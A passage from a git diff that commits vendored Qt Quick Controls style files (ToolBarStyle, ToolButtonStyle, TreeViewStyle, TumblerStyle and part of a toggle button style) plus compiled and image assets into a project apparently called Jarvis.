height / 2 + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + /* Draw checked indicator */ + ctx.beginPath(); + ctx.lineWidth = __buttonHelper.outerArcLineWidth - __buttonHelper.innerArcLineWidth; + ctx.arc(xCenter, yCenter, __buttonHelper.outerArcRadius + __buttonHelper.innerArcLineWidth / 2, + MathUtils.degToRad(270), MathUtils.degToRad(0), false); + var gradient = ctx.createLinearGradient(xCenter, yCenter + __buttonHelper.radius, + xCenter, yCenter - __buttonHelper.radius); + var relevantGradient = control.checked ? checkedGradient : inactiveGradient; + for (var i = 0; i < relevantGradient.stops.length; ++i) { + gradient.addColorStop(relevantGradient.stops[i].position, relevantGradient.stops[i].color); + } + ctx.strokeStyle = gradient; + ctx.stroke(); + } + } + + DropShadow { + id: uncheckedDropShadow + anchors.fill: uncheckedCanvas + cached: true + color: uncheckedDropShadowColor + source: uncheckedCanvas + visible: !control.checked + } + + DropShadow { + id: checkedDropShadow + anchors.fill: checkedCanvas + cached: true + color: checkedDropShadowColor + source: checkedCanvas + visible: control.checked + } + } + + panel: Item { + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: backgroundLoader.implicitHeight + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + id: labelLoader + sourceComponent: label + anchors.fill: parent + anchors.leftMargin: padding.left + anchors.topMargin: padding.top + anchors.rightMargin: padding.right + anchors.bottomMargin: padding.bottom + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qmlc new file mode 100644 index 00000000..26514fc9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToggleButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qml new file mode 100644 index 00000000..8c34efa9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qml @@ -0,0 +1,126 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ToolBarStyle + \inqmlmodule QtQuick.Controls.Styles + \ingroup controlsstyling + \since 5.2 + \brief Provides custom styling for ToolBar. + + The tool bar can be defined by overriding the background component and + setting the content padding. + + Example: + \qml + ToolBar { + style: ToolBarStyle { + padding { + left: 8 + right: 8 + top: 3 + bottom: 3 + } + background: Rectangle { + implicitWidth: 100 + implicitHeight: 40 + border.color: "#999" + gradient: Gradient { + GradientStop { position: 0 ; color: "#fff" } + GradientStop { position: 1 ; color: "#eee" } + } + } + } + } + \endqml +*/ + +Style { + + /*! The content padding inside the tool bar. */ + padding { + left: 6 + right: 6 + top: 3 + bottom: 3 + } + + /*! This defines the background of the tool bar. */ + property Component background: Item { + implicitHeight: 40 + implicitWidth: 200 + Rectangle { + anchors.fill: parent + gradient: Gradient{ + GradientStop{color: "#eee" ; position: 0} + GradientStop{color: "#ccc" ; position: 1} + } + Rectangle { + anchors.bottom: parent.bottom + width: parent.width + height: 1 + color: "#999" + } + } + } + + /*! This defines the menu button appearance on platforms + that have a unified tool bar and menu bar. + + \since QtQuick.Controls.Styles 1.3 + + The following read-only properties are available within the scope + of the menu button delegate: + \table + \row \li \b {styleData.pressed} : bool \li Whether the button is pressed. + \row \li \b {styleData.hovered} : bool \li Whether the button is hovered. + \row \li \b {styleData.activeFocus} : bool \li Whether the button has active focus. + \endtable + */ + property Component menuButton: null + + /*! This defines the panel of the tool bar. */ + property Component panel: Loader { + sourceComponent: background + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qmlc new file mode 100644 index 00000000..5c5bc3f9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolBarStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qml new file mode 100644 index 00000000..9387188c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qml @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ToolButtonStyle + \internal + \ingroup controlsstyling + \inqmlmodule QtQuick.Controls.Styles +*/ +Style { + readonly property ToolButton control: __control + property Component panel: Item { + id: styleitem + implicitWidth: (hasIcon ? icon.width : Math.max(label.implicitWidth + frame.border.left + frame.border.right, 36)) + + (arrow.visible ? 10 : 0) + implicitHeight: hasIcon ? icon.height : Math.max(label.implicitHeight, 36) + + readonly property bool hasIcon: icon.status === Image.Ready || icon.status === Image.Loading + + Rectangle { + anchors.fill: parent + visible: control.pressed || (control.checkable && control.checked) + color: "lightgray" + radius:4 + border.color: "#aaa" + } + Item { + anchors.left: parent.left + anchors.right: arrow.left + anchors.top: parent.top + anchors.bottom: parent.bottom + clip: true + Text { + id: label + visible: !hasIcon + anchors.centerIn: parent + text: StyleHelpers.stylizeMnemonics(control.text) + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + Image { + id: icon + anchors.centerIn: parent + source: control.iconSource + } + } + + BorderImage { + id: frame + anchors.fill: parent + anchors.margins: -1 + anchors.topMargin: -2 + anchors.rightMargin: 0 + source: "images/focusframe.png" + visible: control.activeFocus + border.left: 4 + border.right: 4 + border.top: 4 + border.bottom: 4 + } + + Image { + id: arrow + visible: control.menu !== null + source: visible ? "images/arrow-down.png" : "" + anchors.verticalCenter: parent.verticalCenter + anchors.right: parent.right + anchors.rightMargin: visible ? 3 : 0 + opacity: control.enabled ? 0.7 : 0.5 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qmlc new file mode 100644 index 00000000..1daee201 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ToolButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qml new file mode 100644 index 00000000..72825ccc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.5 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Private 1.0 + +BasicTableViewStyle { + id: root + + readonly property TreeView control: __control + + property int indentation: 16 + + property Component branchDelegate: Item { + width: indentation + height: 16 + Text { + visible: styleData.column === 0 && styleData.hasChildren + text: styleData.isExpanded ? "\u25bc" : "\u25b6" + color: !control.activeFocus || styleData.selected ? styleData.textColor : "#666" + font.pointSize: 10 + renderType: Text.NativeRendering + style: Text.PlainText + anchors.centerIn: parent + anchors.verticalCenterOffset: 2 + } + } + + __branchDelegate: branchDelegate + __indentation: indentation +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qmlc new file mode 100644 index 00000000..cc409ffe Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TreeViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qml new file mode 100644 index 00000000..c70aea6c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qml @@ -0,0 +1,334 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.0 +import QtGraphicalEffects 1.0 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Styles 1.4 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras 1.4 +import QtQuick.Extras.Private 1.0 + +/*! + \qmltype TumblerStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.5 + \ingroup controlsstyling + \brief Provides custom styling for Tumbler. + + You can create a custom tumbler by replacing the following delegates: + \list + \li \l background + \li \l foreground + \li \l separator + \li \l delegate + \li \l highlight + \li \l frame + \endlist +*/ + +Style { + id: tumblerStyle + + padding.left: __padding + padding.right: __padding + padding.top: __padding + padding.bottom: __padding + + /*! + The \l Tumbler that this style is attached to. + */ + readonly property Tumbler control: __control + + /*! + \obsolete + + This property holds the spacing between each delegate. + + This property has no effect. + */ + property real spacing: 0 + + /*! + This property holds the amount of items visible in each column. + + This value should be an odd number. + */ + property int visibleItemCount: 3 + + /*! + \internal + + TODO: how do we handle differing padding values? + */ + readonly property real __padding: Math.max(6, Math.round(TextSingleton.implicitHeight * 0.4)) + /*! \internal */ + property real __delegateHeight: 0 + /*! \internal */ + property real __separatorWidth: 0 + + /*! + The background of the tumbler. + */ + property Component background: Rectangle { + gradient: Gradient { + GradientStop { position: 0.00; color: "#acacac" } + GradientStop { position: 0.12; color: "#d5d5d5" } + GradientStop { position: 0.24; color: "#e8e8e8" } + GradientStop { position: 0.39; color: "#ffffff" } + GradientStop { position: 0.61; color: "#ffffff" } + GradientStop { position: 0.76; color: "#e8e8e8" } + GradientStop { position: 0.88; color: "#d5d5d5" } + GradientStop { position: 1.00; color: "#acacac" } + } + } + + /*! + The foreground of the tumbler. + */ + property Component foreground: Item { + clip: true + + Rectangle { + id: rect + anchors.fill: parent + // Go one pixel larger than our parent so that we can hide our one pixel frame + // that the shadow is created from. + anchors.margins: -1 + color: "transparent" + border.color: "black" + visible: false + } + + DropShadow { + anchors.fill: rect + source: rect + samples: 15 + spread: 0.45 + cached: true + } + } + + /*! + The separator between each column. + + The \l {Item::}{implicitWidth} property must be set, and should be the + same value for each separator. + */ + property Component separator: Canvas { + implicitWidth: Math.max(10, Math.round(TextSingleton.implicitHeight * 0.4)) + + onPaint: { + var ctx = getContext("2d"); + ctx.reset(); + + ctx.fillStyle = "#11000000"; + ctx.fillRect(0, 0, width, height); + ctx.fillStyle = "#11000000"; + ctx.fillRect(width * 0.2, 0, width * 0.6, height); + ctx.fillStyle = "#66000000"; + ctx.fillRect(width * 0.4, 0, width * 0.2, height); + } + } + + /*! + The foreground of each column. + + In terms of stacking order, this component is displayed above the + delegate and highlight components, but below the foreground component. + + \table + \row \li \c {readonly property int} \b styleData.column + \li The index of the column that contains this item. + \row \li \c {readonly property bool} \b styleData.activeFocus + \li \c true if the column that contains this item has active focus. + + \endtable + + Delegates for items in specific columns can be defined using + TumblerColumn's \l {TumblerColumn::columnForeground}{columnForeground} + property, which will be used instead of this component. + */ + property Component columnForeground + + /*! + The frame around the tumbler. + + The \l {Item::}{implicitWidth} property must be set, and should be the + same value for each separator. + */ + property Component frame: Canvas { + onPaint: { + // workaround for QTBUG-40792 + var ctx = getContext("2d"); + ctx.reset(); + + var cornerRadius = Math.max(2, Math.round(TextSingleton.implicitHeight * 0.2)); + var outerLineWidth = Math.max(1, Math.round(TextSingleton.implicitHeight * 0.05)); + var innerLineWidth = __padding - outerLineWidth; + + ctx.save(); + ctx.lineWidth = outerLineWidth; + ctx.beginPath(); + ctx.roundedRect(0, 0, width, height, cornerRadius, cornerRadius); + ctx.roundedRect(outerLineWidth, outerLineWidth, width - outerLineWidth * 2, height - outerLineWidth * 2, + cornerRadius - outerLineWidth, cornerRadius - outerLineWidth); + ctx.clip(); + + ctx.beginPath(); + ctx.rect(0, 0, width, height); + var gradient = ctx.createLinearGradient(width / 2, 0, width / 2, height); + gradient.addColorStop(0, "#33b3b3b3"); + gradient.addColorStop(1, "#4ce6e6e6"); + ctx.fillStyle = gradient; + ctx.fill(); + ctx.restore(); + + // The inner stroke must account for its corner radius. + cornerRadius -= outerLineWidth; + + ctx.save(); + ctx.lineWidth = innerLineWidth; + ctx.beginPath(); + ctx.roundedRect(outerLineWidth, outerLineWidth, width - outerLineWidth * 2, height - outerLineWidth * 2, + cornerRadius, cornerRadius); + ctx.roundedRect(outerLineWidth + innerLineWidth, outerLineWidth + innerLineWidth, + width - outerLineWidth * 2 - innerLineWidth * 2, height - outerLineWidth * 2 - innerLineWidth * 2, + cornerRadius - innerLineWidth, cornerRadius - innerLineWidth); + ctx.clip(); + + ctx.beginPath(); + ctx.rect(0, 0, width, height); + gradient = ctx.createLinearGradient(width / 2, 0, width / 2, height); + gradient.addColorStop(0, "#4c666666"); + gradient.addColorStop(1, "#40cccccc"); + ctx.fillStyle = gradient; + ctx.fill(); + ctx.restore(); + } + } + + /*! + The delegate provides a template defining each item instantiated in the + column. Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this delegate in the model. + \row \li \c {readonly property int} \b styleData.column + \li The index of the column that contains this item. + \row \li \c {readonly property real} \b styleData.value + \li The value for this delegate from the model. + \row \li \c {readonly property bool} \b styleData.current + \li \c true if this delegate is the current item. + \row \li \c {readonly property real} \b styleData.displacement + \li \c A value from \c {-visibleItemCount / 2} to + \c {visibleItemCount / 2} which represents how far away + this item is from being the current item, with \c 0 being + completely current. + + For example, the item below will be 40% opaque when + it is not the current item, and transition to 100% + opacity when it becomes the current item: + + \code + delegate: Text { + text: styleData.value + opacity: 0.4 + Math.max(0, 1 - Math.abs(styleData.displacement)) * 0.6 + } + \endcode + \row \li \c {readonly property bool} \b styleData.activeFocus + \li \c true if the column that contains this item has active focus. + + \endtable + + Properties of the model are also available depending upon the type of + \l {qml-data-models}{Data Model}. + + Delegates for items in specific columns can be defined using + TumblerColumn's \l {TumblerColumn::delegate}{delegate} property, which + will be used instead of this delegate. + + The \l {Item::}{implicitHeight} property must be set, and it must be + the same for each delegate. + */ + property Component delegate: Item { + implicitHeight: (control.height - padding.top - padding.bottom) / tumblerStyle.visibleItemCount + + Text { + id: label + text: styleData.value + color: "#666666" + opacity: 0.4 + Math.max(0, 1 - Math.abs(styleData.displacement)) * 0.6 + font.pixelSize: Math.round(TextSingleton.font.pixelSize * 1.25) + anchors.centerIn: parent + } + } + + /*! + The delegate for the highlight of each column. + + Delegates for the highlight of specific columns can be defined using + TumblerColumn's \l {TumblerColumn::highlight}{highlight} property, + which will be used instead of this delegate. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this column in the tumbler. + \row \li \c {readonly property int} \b styleData.columnIndex + \li The index of the column that contains this highlight. + \row \li \c {readonly property bool} \b styleData.activeFocus + \li \c true if the column that contains this highlight has active focus. + \endtable + */ + property Component highlight + + /*! \internal */ + property Component panel: Item { + implicitWidth: { + var w = (__separatorWidth * (control.columnCount - 1)) + tumblerStyle.padding.left + tumblerStyle.padding.right; + for (var i = 0; i < control.columnCount; ++i) + w += control.getColumn(i).width; + return w; + } + implicitHeight: TextSingleton.implicitHeight * 10 + tumblerStyle.padding.top + tumblerStyle.padding.bottom + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qmlc new file mode 100644 index 00000000..a3a073a5 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/TumblerStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down.png new file mode 100644 index 00000000..dadd4f81 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down@2x.png new file mode 100644 index 00000000..2829fd19 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-down@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left.png new file mode 100644 index 00000000..7693fc72 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left@2x.png new file mode 100644 index 00000000..0005b3e7 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-left@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right.png new file mode 100644 index 00000000..b5cb2b27 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right@2x.png new file mode 100644 index 00000000..21b36f7b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-right@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up.png new file mode 100644 index 00000000..d8a8247c Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up@2x.png new file mode 100644 index 00000000..1bd44d52 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/arrow-up@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button.png new file mode 100644 index 00000000..3793f3ef Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button_down.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button_down.png new file mode 100644 index 00000000..7b016fa9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/button_down.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check.png new file mode 100644 index 00000000..ad1df957 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check@2x.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check@2x.png new file mode 100644 index 00000000..3eb4ae77 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/check@2x.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/editbox.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/editbox.png new file mode 100644 index 00000000..f0e6ee43 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/editbox.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/focusframe.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/focusframe.png new file mode 100644 index 00000000..aad56612 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/focusframe.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/groupbox.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/groupbox.png new file mode 100644 index 00000000..680e926a Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/groupbox.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/header.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/header.png new file mode 100644 index 00000000..aaf8f99e Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/header.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/knob.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/knob.png new file mode 100644 index 00000000..9a948fd8 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/knob.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/leftanglearrow.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/leftanglearrow.png new file mode 100644 index 00000000..1e479a3d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/leftanglearrow.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/needle.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/needle.png new file mode 100644 index 00000000..316dad71 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/needle.png differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/progress-indeterminate.png b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/images/progress-indeterminate.png new file mode 100644 index 00000000..2ff41b45 